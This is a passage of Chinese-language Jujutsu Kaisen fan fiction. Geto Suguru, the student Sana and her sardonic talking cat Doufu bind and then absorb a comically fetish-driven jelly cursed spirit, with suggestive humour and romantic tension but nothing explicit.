纱奈有些困惑，“什么类型。” “执念于某种特殊癖好而形成的咒灵，很罕见，但确实存在。” 夏油杰饶有兴致地看着那个果冻，“看来是某位客人在这个包间里留下了过于强烈的……嗯，特殊兴趣，死后残余的执念和负面情绪结合，形成了这个东西。” 那只咒灵还在继续发出呜咽声，身体像水浪一样轻轻起伏，看起来更加兴奋了。 “有意思。”他说，然后看向纱奈，“白鸟同学，看来它很喜欢你呢。” 纱奈苦着一张小脸，她才不想要这种喜欢…… 豆福在旁边慢悠悠地补充：“它还说了，如果愿意调教它，它什么都愿意做，包括被拔除。” “够了！”纱奈捂住耳朵，“别翻译了！” 豆福甩了甩尾巴，“是它自己说的，我只是个无情的翻译机器。” 夏油杰却笑得更开心了。 他走到那团果冻咒灵面前，蹲下来，伸出手指戳了戳它的身体。 咒灵立刻颤抖起来，发出咕啾咕啾的黏腻声音，身体也变得更透明了。 豆福翻译，“它很兴奋欸。” 夏油杰看向纱奈，眼中带着笑意，“要试试吗？拔除它。” “怎，怎么拔除？” “用你的术式，或者用咒具。”夏油杰从袖中取出一把短刀，递给她，“三级咒灵很弱，你可以轻松解决。” 纱奈接过短刀，手有些抖。 她看向那个还在扭动的果冻，深吸一口气，走上前。 咒灵看见她靠近，更加兴奋了，身体涌动着，发出咕啾咕啾的水声。 纱奈举起短刀，对准它。 咒灵不但不躲，反而主动迎了上来，身体贴在刀尖上，发出满足的呜咽声。 豆福翻译：“被刺中了！好舒服，请再用力一点！” 纱奈的手僵住了。 这还怎么打啊！ 夏油杰在旁边看着，肩膀微微抖动，显然在憋笑。 豆福突然眼睛一亮，它跳到纱奈脚边，用爪子拍了拍地上的麦克风线，“既然它这么想被调/教，不如满足它？用绳子把它捆起来，然后慢慢教育。” 纱奈瞪大眼睛，“豆福！” 豆福理直气壮，“怎么了？它自己要求的，而且你不觉得这样很好玩吗？” 夏油杰突然开口：“可以试试。” 纱奈转过头，不可置信 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她的手指被咒灵身上黏糊糊的液体弄湿，线也打滑，越弄越乱。 夏油杰走到她身后。 “我来教你。” 他的声音在耳边响起，温热的气息喷洒在耳畔，吹的脖颈处酥酥麻麻。 纱奈的身体僵住了。 他的手轻轻环了上来，覆在她的手上。 纱奈的身体僵住了。 夏油杰的身体贴在她的后背，温热的体温透过薄薄的校服传过来。 他的手臂从她身体两侧伸过去，手指轻轻握住她的手，引导着她拿起绳子。 他的手掌很大，完全包裹住她的手，指尖轻轻扣在她的指缝间。 咒灵身上黏腻的液体沾湿了两人的手，在昏暗的光线下泛着诡异的紫光。 夏油杰轻声说，声音就在她耳边，“先从最粗的地方开始捆。” 夏油杰带着她的手，将麦克风线绕在咒灵身体中间，打了一个结。 “这里要拉紧。”他的声音很轻，几乎贴着她的耳朵。 她的脸瞬间红透，脑子一片空白。 咒灵发出一阵愉悦的咕啾声，身体兴奋地扭动着，更多黏糊糊的液体涌出，把两人的手弄得湿漉漉的。 夏油杰似乎不在意，他继续带着纱奈的手，将线一圈圈绕在咒灵身上，动作不急不缓，每一次缠绕都恰到好处。 线绕过咒灵的身体，发出细微的摩擦声，混合着液体流动的咕啾声，在昏暗的包间里格外清晰。 纱奈的手被夏油杰握着，她能感觉到他掌心的温度，能感觉到他指尖的力度，能感觉到他每一次动作时肌肉的细微变化。 她的心跳得飞快，脸烫得能煎蛋。 豆福蹲在旁边，琥珀色的眼睛里满是看好戏的笑意。 “对，就这样，捆紧一点，它喜欢这样。” 咒灵配合地扭动着身体，发出满足的呜咽。 终于，咒灵被麦克风线捆成了一个奇怪的形状，虽然还是果冻状，但至少有个大概的轮廓了。 夏油杰退开一步。 纱奈愣愣地看着自己的手，上面沾满了咒灵黏糊糊的紫色液体，还在往下滴。 纱奈想抽回手。 但夏油杰没松开。 他从口袋里掏出一块白色的手帕，然后握住她的手腕，开始给她擦手。 一根手指，一根手指地擦。 动作很慢，很细致，像是在擦拭自己儿时最爱的玩具。 手指被咒灵的黏液弄得黏糊糊的，每擦一下，都能感觉到湿滑的触感和布料摩擦皮肤的轻微刺痛。 纱奈的脸红得快要滴血。 她想收回手，但夏油杰握得很紧，动作也很温柔，让她不知该怎么拒绝。 “前辈，我可以自己来。” “不行。”夏油杰轻声说，眼神专注地看着她的手，“你手上还有黏液，不擦干净会不舒服的。” 说完，他继续擦拭，从指尖到指节，再到掌心，每一处都擦得很仔细。 纱奈的手很小，被他完全握在掌心，像只被握住的小动物。 掌心的温热，无时无刻不在提醒她，她的心脏砰砰狂跳，快要从胸腔里蹦出来。 纱奈低着头，不敢看他，只能感觉到他指尖偶尔碰到她皮肤时带来的细微触感。 “前辈……”她小声说。 “嗯？” “您的手也脏了……” 夏油杰低头看了看自己的手，上面同样沾满了紫色液体。 他笑了笑，用手帕随意擦了几下，然后继续给纱奈擦手。 “我不介意。” 豆福在旁边用爪子拍了拍被捆住的咒灵，咒灵发出一阵愉悦的咕噜声。 “它说谢谢款待，很舒服，希望下次还能被这样对待。”豆福面无表情地翻译。 纱奈的脸更红了。 夏油杰终于擦完了纱奈的手，他将手帕折好，收进口袋，然后看向那个被捆住的咒灵。 咒灵还在扭动，虽然被捆着，但看起来……很开心？ “要拔除吗？”纱奈小声问。 夏油杰想了想，嘴角勾起一个意味深长的笑容。 “它这么配合，拔除了有点可惜。” 他伸出手，掌心浮现出黑色的漩涡。 咒灵似乎察觉到了什么，身体兴奋地颤抖起来，发出更大的水声。 黑色的漩涡缓缓靠近，将咒灵整个吞没。 咒灵没有挣扎，反而发出最后一声满足的呜咽，然后消失在漩涡中。 夏油杰收回手，掌心的漩涡消失。 “收了。”他轻描淡写地说。 纱奈眨了眨眼，“收，收了？” “嗯，放在咒灵库里，也许以后有用。”夏油杰看向她，眼中带着笑意，“而且，它看起来很喜欢你，收着也不亏。” 豆福在旁边冷笑：“有用？它能有什么用？当情趣/玩具吗？” 夏油杰不置可否，只是笑了笑。 纱奈的脸又红了。 任务结束，两人一猫走出建筑。 辅助监督撤去帐，看到他们出来，点了点头。 “辛苦了。” 夏油杰说，语气温和，“不辛苦，任务完成，咒灵已拔除。” 辅助监督没有多问，只是示意他们上车。 夏油杰看着走在前面抱着猫的女孩，他垂眸看了看掌心，慢慢的，慢慢的，他慢慢合上掌心，有些用力，有些痛。